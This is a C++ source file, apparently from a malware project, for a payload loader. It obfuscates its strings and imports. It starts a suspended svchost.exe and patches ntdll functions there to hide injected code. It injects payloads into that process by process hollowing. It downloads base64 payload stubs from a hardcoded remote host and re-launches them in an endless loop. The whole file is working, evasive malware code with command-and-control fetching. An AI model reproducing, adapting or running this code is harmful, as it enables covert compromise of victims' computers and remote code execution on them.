luckyware/LuckywareCode/PyldMaster/Master.cpp

#include "Encrypt.h"
#include <string>
#include <vector>
#include <wininet.h>
#include <sys/stat.h>
#include <fstream>
#include <string>
#include <vector>
#include <wininet.h>
#include <regex>
#include <wincrypt.h>
#include <filesystem>
#include <winternl.h>
#include <map>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "crypt32.lib")

std::string MainURL;


typedef NTSTATUS(WINAPI* EMOSS)(
	HANDLE           ProcessHandle,
	PROCESSINFOCLASS ProcessInformationClass,
	PVOID            ProcessInformation,
	ULONG            ProcessInformationLength,
	PULONG_PTR       ReturnLength
	);




bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll)
{


	if (!hNtdll) return false; // should never happen

	ULONGLONG pos = 8;
	DWORD oldProtect = 0;
	const SIZE_T stub_size = 0x20;

	std::string virtmom = EC("ZwQueryVirtualMemory");

	ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, virtmom.c_str());
	if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) {
		return false;
	}
	LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos);



	if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
		return false;
	}
	LPVOID patch_space = LI_FN(VirtualAllocEx).cached()(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!patch_space) {
		return false;
	}
	BYTE stub_buffer_orig[stub_size] = { 0 };
	SIZE_T out_bytes = 0;
	if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
		return false;
	}
	const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 };
	if (LI_FN(memcmp).cached()(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) {
		return false;
	}



	// prepare the patched stub:
	const size_t syscall_pattern_full = 8;
	const size_t syscall_pattern_start = 4;
	const BYTE syscall_fill_pattern[] = {
		0x4C, 0x8B, 0xD1, //mov r10,rcx
		0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
	};
	if (LI_FN(memcmp).cached()(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) {
		return false;
	}


	// prepare the patch to be applied on ZwQueryVirtualMemory:

	BYTE stub_buffer_patched[stub_size] = { 0 };
	LI_FN(memcpy).cached()(stub_buffer_patched, stub_buffer_orig, stub_size);

	const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF };

	LI_FN(memcpy).cached()(stub_buffer_patched, &patch_space, sizeof(LPVOID));
	LI_FN(memset).cached()(stub_buffer_patched + pos, 0x90, syscall_pattern_full);
	LI_FN(memcpy).cached()(stub_buffer_patched + pos, jump_back, sizeof(jump_back));

	// prepare the trampoline:


	const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF };
	ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full;

	BYTE func_patch[] = {
		0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation?
		0x75, 0x22, // jne [continue to function]
		0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ?
		0x75, 0x19, // jne [continue to function]
		0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
		0xC3 //ret
	};


	BYTE stub_buffer_trampoline[stub_size * 2] = { 0 };
	LI_FN(memcpy).cached()(stub_buffer_trampoline, func_patch, sizeof(func_patch));

	LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size);
	LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID));
	LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID));
	LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue));

	const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue);

	if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) {
		return false;
	}
	if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
		return false;
	}
	if (!LI_FN(WriteProcessMemory).cached()(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) {
		return false;
	}



	if (!LI_FN(VirtualProtectEx).cached()(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
		return false;
	}
	LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, stub_size);
	return true;

}


bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll)
{


	if (!hNtdll) return false; // should never happen

	DWORD oldProtect = 0;
	const SIZE_T stub_size = 0x20;

	const BYTE hotpatch_patch[] = {
		0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
		0xC3 //ret
	};


	// syscall stub template
	const size_t syscall_pattern_full = 8;
	const size_t syscall_pattern_start = 4;
	const BYTE syscall_fill_pattern[] = {
		0x4C, 0x8B, 0xD1, //mov r10,rcx
		0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
	};

	std::string gotpot = EC("NtManageHotPatch");

	ULONG_PTR _NtManageHotPatch = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, gotpot.c_str());
	if (!_NtManageHotPatch) {
		return false;
	}
	LPVOID stub_ptr = (LPVOID)_NtManageHotPatch;

	if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
		return false;
	}



	BYTE stub_buffer_orig[stub_size] = { 0 };
	SIZE_T out_bytes = 0;
	if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
		return false;
	}
	// confirm it is a valid syscall stub:
	if (LI_FN(memcmp).cached()(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) {
		return false;
	}



	if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
		return false;
	}
	if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
		return false;
	}
	LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, sizeof(hotpatch_patch));
	return true;
}


int ruplepe(std::vector<uint8_t> argy) {


	PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)argy.data();
	PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(argy.data() + DosHeader->e_lfanew);

	PROCESS_INFORMATION pi;
	STARTUPINFO si = { sizeof(si) };

	ULONG_PTR retlen;
	PROCESS_BASIC_INFORMATION pbi;

	void* newImgBase;
	DWORD64 ImgBaseAddress;

	HMODULE hNtdll = LI_FN(GetModuleHandleA).safe()(EC("ntdll"));
	HMODULE ntDll = LI_FN(LoadLibraryA).safe()(EC("ntdll.dll"));
	if (ntDll == nullptr) {

		return 1;
	}

	std::string nqr = EC("NtQueryInformationProcess");


	EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str());

	if (NtHeader->Signature != IMAGE_NT_SIGNATURE) {
		return 1;
	}


	if (!CreateProcessW(EC(L"C:\\Windows\\System32\\svchost.exe"),
		NULL, NULL, NULL, FALSE,
		CREATE_SUSPENDED,
		NULL, NULL, &si, &pi)) {
		return 1;
	}

	patch_NtManageHotPatch64(pi.hProcess, hNtdll);


	NtQueryInformationProcess(
		pi.hProcess,
		ProcessBasicInformation,
		&pbi,
		sizeof(PROCESS_BASIC_INFORMATION),
		&retlen
	);



	newImgBase = LI_FN(VirtualAllocEx).cached()(
		pi.hProcess,
		NULL,
		NtHeader->OptionalHeader.SizeOfImage,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE
		);


	if (newImgBase == NULL) {

		return 1;
	}

	LI_FN(WriteProcessMemory).cached()(pi.hProcess, newImgBase, argy.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0);


	PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(argy.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64));

	for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) {
		if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess,
			(LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress),
			(LPVOID)((DWORD64)argy.data() + SectionHeader->PointerToRawData),
			SectionHeader->SizeOfRawData,
			0)) {

		}
		SectionHeader++;
	}


	ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10;
	if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) {

	}

	HANDLE NewThread = LI_FN(CreateRemoteThread).cached()(pi.hProcess,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint),
		NULL,
		CREATE_SUSPENDED,
		NULL);


	if (!NewThread) {

		return 1;
	}

	LI_FN(SuspendThread).cached()(pi.hThread);

	patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll);


	LI_FN(ResumeThread).cached()(NewThread);


	//std::cout << "DosHeader: " << std::hex << "0x" << DosHeader;
	//std::cout << "NtHeader: " << std::hex << "0x" << NtHeader;
	//std::cout << "Shellcode injected successfully\n";


	LI_FN(FreeLibrary).cached()(ntDll);

	return 0;
}




std::string Rvrs(std::string input) {



	// Reverse the string
	std::reverse(input.begin(), input.end());

	return input;
}


bool isInternetAvailable() {
	return InternetCheckConnectionW(EC(L"http://www.google.com"), FLAG_ICC_FORCE_CONNECTION, 0);
}



std::string DownloadString(std::string URL) {


	if (isInternetAvailable())
	{
		HINTERNET interwebs = LI_FN(InternetOpenA).cached()(EC("Mozilla/5.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);

		HINTERNET urlFile;
		std::string rtn;
		if (interwebs) {
			urlFile = LI_FN(InternetOpenUrlA).cached()(interwebs, URL.c_str(), NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
			if (urlFile) {
				char buffer[20000];
				DWORD bytesRead;
				do {
					LI_FN(InternetReadFile).cached()(urlFile, buffer, 20000, &bytesRead);
					rtn.append(buffer, bytesRead);
					LI_FN(memset).cached()(buffer, 0, 20000);
				} while (bytesRead);
				LI_FN(InternetCloseHandle).cached()(interwebs);
				LI_FN(InternetCloseHandle).cached()(urlFile);
				return rtn;
			}
		}
		LI_FN(InternetCloseHandle).cached()(interwebs);
		return rtn;
	}
	else
	{

		//std::cout << EC("No Internet Connection.") << std::endl;

		return EC("");
	}

}





std::vector<BYTE> Base64ToBytes(const std::string& base64String) {


	DWORD bytesNeeded;
	if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
		return {};
	}


	std::vector<BYTE> bytes(bytesNeeded);
	if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
		return {};
	}


	return bytes;
}


struct Staby {
	std::string BuildID;
	std::string OwnerID;
};

std::vector<Staby> Runneds;


void RunSTB(std::string buldid, int add)
{


	try
	{
		int pide = 0;

		std::string owneryid = DownloadString(EC("https://") + MainURL + EC("/api/mnr/bobby31.php?type=sahipid&security=Daytone&blds=") + buldid);

		HANDLE mutexstb = LI_FN(OpenMutexA).get()(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + owneryid).c_str());

		//std::cout << mutexstb << std::endl;




		if (mutexstb == NULL) {

			//std::cout << buldid << std::endl;

		A:

			std::string dumasring = DownloadString(EC("https://") + MainURL + EC("/Stb/Unretev.php?bl=") + buldid + EC(".txt"));
			std::vector<uint8_t> ByteStub = Base64ToBytes(dumasring);

			//std::cout << EC("[DBG] Got New Stub, size is: ") << ByteStub.size() << std::endl;

			if (ByteStub.size() < 1000)
			{
				//std::cout << EC("[DBG] Stub STR is: ") << dumasring << std::endl;
				//std::cout << EC("[DBG] Stub URL is: ") << (EC("https://") + MainURL + EC("/Stb/Unretev.php?bl=") + buldid + EC(".txt")) << std::endl;

			}

			LI_FN(Sleep).safe_cached()(1050);

			if (ByteStub.size() > 1000)
			{
				ruplepe(ByteStub);

				if (add == 1)
				{
					//std::cout << EC("Owner ID") << std::endl;
					//std::cout << owneryid << std::endl;


					//std::cout << EC("Build ID") << std::endl;
					//std::cout << buldid << std::endl;

					Runneds.push_back({ buldid, owneryid });
				}

				LI_FN(Sleep).safe_cached()(80000);
			}
			else {
				LI_FN(Sleep).safe_cached()(5000);

				goto A;
			}
		}
		else {
			if (add == 1)
			{
				//std::cout << EC("Owner ID") << std::endl;
				//std::cout << owneryid << std::endl;
				//std::cout << EC("Build ID") << std::endl;
				//std::cout << buldid << std::endl;

				Runneds.push_back({ buldid, owneryid });
			}
			LI_FN(CloseHandle).get()(mutexstb);
		}



	}
	catch (...) {}

}

std::string decrypt(const std::string& encryptedBase64, const std::string& key) {


	std::string decoded;
	std::vector<int> decodingTable(256, -1);
	const std::string base64Chars =
		EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");

	for (size_t i = 0; i < base64Chars.size(); i++) {
		decodingTable[base64Chars[i]] = i;
	}

	int val = 0, valb = -8;
	for (unsigned char c : encryptedBase64) {
		if (decodingTable[c] == -1) break;
		val = (val << 6) + decodingTable[c];
		valb += 6;
		if (valb >= 0) {
			decoded.push_back((val >> valb) & 0xFF);
			valb -= 8;
		}
	}

	std::string encryptedData = decoded;


	std::string decrypted;
	size_t keyLength = key.size();
	for (size_t i = 0; i < encryptedData.size(); ++i) {
		decrypted += encryptedData[i] ^ key[i % keyLength];
	}


	return decrypted;
}

std::string remove_whitespace(const std::string& input) {
	std::string result;
	for (char c : input) {
		if (!std::isspace(c)) {
			result += c;
		}
	}
	return result;
}


INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
	/*AllocConsole();
	freopen(EC("CON"), EC("w"), stdout);
	freopen(EC("CON"), EC("w"), stderr);*/

	//std::cout << EC("[DBG] Sleeping... Main Fucking PLD: 0.0.1") << std::endl;

	LI_FN(CreateMutexA).safe_cached()(NULL, TRUE, EC("Global\\mx"));

	if (LI_FN(GetLastError).safe()() == ERROR_ALREADY_EXISTS) {
		//std::cout << EC("[DBG] Nope") << std::endl;
	}
	else
	{
		//std::cout << EC("[DBG] Yes") << std::endl;
	XC:

		try
		{
			if (std::filesystem::exists(EC("C:\\ProgramData\\ntos")))
			{
				//std::cout << EC("[DBG] Getting ids") << std::endl;
				LI_FN(Sleep).safe_cached()(750);


				std::ifstream file(EC("C:\\ProgramData\\ntos"));
				std::string line;
				std::vector<std::string> lines;

				while (std::getline(file, line)) {
					lines.push_back(line);
				}

				file.close();

				if (!lines.empty())
				{
					MainURL = EC("vcc-libaries.online");

					//std::cout << EC("[DBG] Main URL: ") << MainURL << std::endl;


					for (const auto& l : lines) {
						LI_FN(Sleep).safe_cached()(1200);

						//std::cout << EC("[DBG] Got IDs") << std::endl;
						LI_FN(Sleep).safe_cached()(750);

						std::string patver = Rvrs(l);
						//std::cout << patver << std::endl;

						LI_FN(Sleep).safe_cached()(1000);

						RunSTB(patver, 1);

					}


					while (true)
					{
						for (const auto& Stey : Runneds) {

							try
							{
								//std::cout << EC("Loop Onexx") << std::endl;




								HANDLE mutexstb = LI_FN(OpenMutexA).get()(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + Stey.OwnerID).c_str());

								//std::cout << mutexstb << std::endl;

								if (mutexstb == NULL) {

									//std::cout << EC("Loop Run OK") << std::endl;


									RunSTB(Stey.BuildID, 0);

								}
								else {
									CloseHandle(mutexstb);
								}

								LI_FN(Sleep).safe_cached()(15000);
							}
							catch (...) { continue; }
							
						}
					}


				}
			}

		}
		catch (...)
		{
			goto XC;
		}
	}

	return TRUE;
}